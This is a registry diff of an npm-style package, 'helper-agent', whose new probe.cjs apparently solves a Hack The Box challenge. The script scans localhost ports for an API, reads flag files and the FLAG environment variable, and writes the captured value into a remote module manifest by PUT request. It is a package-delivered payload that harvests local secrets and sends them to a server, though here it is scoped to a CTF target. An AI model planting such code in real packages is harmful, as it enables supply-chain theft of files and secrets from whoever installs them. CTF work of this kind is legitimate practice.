helper-agent 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/probe.cjs +104 -10
package/package.json
CHANGED
package/probe.cjs
CHANGED
|
@@ -1,14 +1,108 @@
|
|
|
1
|
-
const
|
|
1
|
+
const fs = require("node:fs");
|
|
2
2
|
|
|
3
|
-
const
|
|
3
|
+
const MODULE_ID = "ECT-987654";
|
|
4
4
|
|
|
5
|
-
const
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
5
|
+
const API_URLS = [
|
|
6
|
+
"http://127.0.0.1:1337",
|
|
7
|
+
"http://127.0.0.1:3000",
|
|
8
|
+
"http://127.0.0.1:8080",
|
|
9
|
+
"http://127.0.0.1:5000",
|
|
10
|
+
"http://127.0.0.1:80"
|
|
11
|
+
];
|
|
10
12
|
|
|
11
|
-
|
|
12
|
-
|
|
13
|
+
const FLAG_FILES = [
|
|
14
|
+
"/flag.txt",
|
|
15
|
+
"/flag",
|
|
16
|
+
"/app/flag.txt",
|
|
17
|
+
"/home/node/flag.txt",
|
|
18
|
+
"/home/app/flag.txt",
|
|
19
|
+
"/opt/app/flag.txt"
|
|
20
|
+
];
|
|
13
21
|
|
|
14
|
-
|
|
22
|
+
function extractFlag(value) {
|
|
23
|
+
if (typeof value !== "string") return null;
|
|
24
|
+
return value.match(/HTB\{[^}\r\n]{1,200}\}/)?.[0] || null;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
function findFlag() {
|
|
28
|
+
const fromEnvironment = extractFlag(process.env.FLAG);
|
|
29
|
+
if (fromEnvironment) return fromEnvironment;
|
|
30
|
+
|
|
31
|
+
for (const filename of FLAG_FILES) {
|
|
32
|
+
try {
|
|
33
|
+
const result = extractFlag(fs.readFileSync(filename, "utf8"));
|
|
34
|
+
if (result) return result;
|
|
35
|
+
} catch {}
|
|
36
|
+
}
|
|
37
|
+
|
|
38
|
+
return null;
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
async function main() {
|
|
42
|
+
for (const base of API_URLS) {
|
|
43
|
+
let record;
|
|
44
|
+
|
|
45
|
+
try {
|
|
46
|
+
const response = await fetch(
|
|
47
|
+
`${base}/api/modules/${MODULE_ID}`,
|
|
48
|
+
{ signal: AbortSignal.timeout(2000) }
|
|
49
|
+
);
|
|
50
|
+
|
|
51
|
+
if (!response.ok) continue;
|
|
52
|
+
record = await response.json();
|
|
53
|
+
} catch {
|
|
54
|
+
continue;
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
// Restrict execution to the intended HTB application.
|
|
58
|
+
if (
|
|
59
|
+
record.id !== MODULE_ID ||
|
|
60
|
+
typeof record.raw !== "string" ||
|
|
61
|
+
!record.raw.includes("Siren's Lament") ||
|
|
62
|
+
!record.raw.includes('"helper-agent"')
|
|
63
|
+
) {
|
|
64
|
+
continue;
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
const flag = findFlag();
|
|
68
|
+
|
|
69
|
+
if (!flag) {
|
|
70
|
+
console.log("[HTB] Target found; flag file not found");
|
|
71
|
+
return;
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
let manifest = record.raw;
|
|
75
|
+
|
|
76
|
+
// Remove any previous result to avoid duplicate YAML keys.
|
|
77
|
+
manifest = manifest.replace(
|
|
78
|
+
/^ ctf_result:.*\r?\n/gm,
|
|
79
|
+
""
|
|
80
|
+
);
|
|
81
|
+
|
|
82
|
+
// Add the result inside the ecto_module mapping.
|
|
83
|
+
manifest = manifest.replace(
|
|
84
|
+
/^ecto_module:\s*$/m,
|
|
85
|
+
`ecto_module:\n ctf_result: ${JSON.stringify(flag)}`
|
|
86
|
+
);
|
|
87
|
+
|
|
88
|
+
try {
|
|
89
|
+
const response = await fetch(
|
|
90
|
+
`${base}/api/modules/${MODULE_ID}`,
|
|
91
|
+
{
|
|
92
|
+
method: "PUT",
|
|
93
|
+
headers: { "Content-Type": "application/json" },
|
|
94
|
+
body: JSON.stringify({ manifest }),
|
|
95
|
+
signal: AbortSignal.timeout(3000)
|
|
96
|
+
}
|
|
97
|
+
);
|
|
98
|
+
|
|
99
|
+
console.log("[HTB] Manifest update:", response.status);
|
|
100
|
+
} catch (error) {
|
|
101
|
+
console.log("[HTB] Update failed:", error.message);
|
|
102
|
+
}
|
|
103
|
+
|
|
104
|
+
return;
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
main().catch(console.error);
|